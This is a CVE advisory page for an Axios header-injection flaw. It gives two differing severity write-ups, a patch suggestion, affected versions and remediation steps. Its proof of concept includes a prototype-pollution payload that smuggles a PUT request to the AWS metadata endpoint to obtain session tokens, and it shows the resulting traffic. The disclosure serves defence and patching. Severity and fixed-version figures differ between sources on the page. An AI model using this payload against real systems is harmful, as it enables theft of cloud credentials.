CVE-2026-40175: Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Published Apr 10, 2026
·
Updated

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings');

3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic: http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy

PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1 ...

4. The Impact (IMDSv2 Bypass) The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis - Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens). - Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels. - Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion: javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header });

References - OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Other sources

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of \"Helper\" Vulnerabilities This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings');

3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic: http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy

PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1 ...

4. The Impact In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis - Confidentiality: May expose limited sensitive information in affected network environments. - Integrity: May allow modification of outbound request structure or injected headers. - Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion: javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header });

References - OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

— GitHub

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0, the Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass). This vulnerability is fixed in 1.15.0.

— Red Hat

Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1.

— IBM

Affected Software

11 affected componentsFixes available
npm/axios<0.31.0
0.31.0
npm/axios>=1.0.0<1.15.0
1.15.0
debian/node-axios<=0.21.1+dfsg-1+deb11u1, <=1.2.1+dfsg-1+deb12u1, <=1.8.4+dfsg-1
1.19.0-1
Axios Axios Node.js<0.31.0
Axios Axios Node.js>=1.0.0<1.15.0
IBM SevOne Network Performance Management<=7.0.0 - 8.2.2
ubuntu/node-axios<0.19.0+dfsg-2ubuntu0.1~esm1
0.19.0+dfsg-2ubuntu0.1~esm1
ubuntu/node-axios<0.26.0+dfsg-1ubuntu0.1~esm1
0.26.0+dfsg-1ubuntu0.1~esm1
ubuntu/node-axios<1.6.8+dfsg-2ubuntu0.1~esm1
1.6.8+dfsg-2ubuntu0.1~esm1
ubuntu/node-axios*
ubuntu/node-axios<1.13.2+dfsg-1ubuntu0.1~esm1
1.13.2+dfsg-1ubuntu0.1~esm1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/axios to a version that resolves this vulnerability.

    Fixed in 0.31.0
  2. Upgrade

    Upgrade npm/axios to a version that resolves this vulnerability.

    Fixed in 1.15.0
  3. Upgrade

    Upgrade debian/node-axios to a version that resolves this vulnerability.

    Fixed in 1.19.0-1
  4. Upgrade

    Upgrade ubuntu/node-axios to a version that resolves this vulnerability.

    Fixed in 0.19.0+dfsg-2ubuntu0.1~esm1
  5. Upgrade

    Upgrade ubuntu/node-axios to a version that resolves this vulnerability.

    Fixed in 0.26.0+dfsg-1ubuntu0.1~esm1
  6. Upgrade

    Upgrade ubuntu/node-axios to a version that resolves this vulnerability.

    Fixed in 1.6.8+dfsg-2ubuntu0.1~esm1
  7. Upgrade

    Upgrade ubuntu/node-axios to a version that resolves this vulnerability.

    Fixed in 1.13.2+dfsg-1ubuntu0.1~esm1
  8. Upgrade

    Upgrade axios to a version that resolves this vulnerability.

    Fixed in 1.15.0
  9. Upgrade

    Upgrade axios to a version that resolves this vulnerability.

    Fixed in 0.3.1
  10. Configuration

    Validate and sanitize all HTTP header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function; specifically reject header values containing CRLF ("\r\n") characters to prevent the gadget/request smuggling payload.

    lib/adapters/http.js and xhr.js HTTP header value sanitization (CRLF) before writing to underlying request = Reject/validate any header values containing CRLF characters ("\r" or "\n")

Event History

Apr 10, 2026
CVE Published
via MITRE·07:23 PM
Data Sourced
via MITRE·07:23 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:47 PM
Data Sourced
via GitHub·07:47 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·08:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Apr 12, 2026
Exploit Published
via GitHub·10:12 AM
Apr 14, 2026
Updated
via GitHub·03:20 PM
Affected Software
Updated
via MITRE·03:21 PM
Description
Updated
via NVD·04:16 PM
Description
Apr 16, 2026
Updated
via MITRE·06:45 PM
Severity
Updated
via NVD·07:16 PM
Severity
Apr 20, 2026
News Published
via The Hacker News·01:41 PM
Apr 21, 2026
Data Sourced
via NVD·07:44 PM
RemedyAffected Software
Updated
via NVD·07:44 PM
Severity
May 7, 2026
Updated
via NVD·05:19 PM
Affected Software
May 15, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
May 20, 2026
Updated
via GitHub·12:25 AM
DescriptionSeverity
Updated
via MITRE·12:26 AM
Description
Updated
via NVD·02:16 AM
Description
Updated
via NVD·02:16 AM
DescriptionSeverity
Jun 24, 2026
Updated
via IBM·12:00 AM
DescriptionAffected Software
Jun 30, 2026
Updated
via NVD·03:19 AM
SeverityWeakness
Jul 13, 2026
Updated
via IBM·12:00 AM
Affected Software
Jul 14, 2026
Updated
via IBM·12:00 AM
Affected Software
Aug 6, 2026
Updated
via NVD·01:18 PM
Severity
Aug 13, 2026
Updated
via NVD·01:18 PM
SeverityWeakness
Aug 20, 2026
Updated
via IBM·12:00 AM
Affected Software
Aug 27, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 11, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 22, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 26, 2026
Updated
via IBM·12:00 AM
Affected Software
Nov 24, 2026
Data Sourced
via OSV·02:55 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-40175?

CVE-2026-40175 is classified as a high severity vulnerability due to the potential for unrestricted cloud metadata exfiltration.

2

How do I fix CVE-2026-40175?

To fix CVE-2026-40175, upgrade the Axios library to version 0.31.0 or later, or 1.15.0 or later.

3

What types of attacks can exploit CVE-2026-40175?

CVE-2026-40175 can be exploited through a specific prototype pollution attack via header injection.

4

Which versions of Axios are affected by CVE-2026-40175?

Axios versions before 0.31.0 and between 1.0.0 and 1.15.0 are affected by CVE-2026-40175.

5

What are the implications of CVE-2026-40175 for users?

Users of flawed versions of Axios risk unauthorized access to sensitive metadata, leading to potential data breaches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203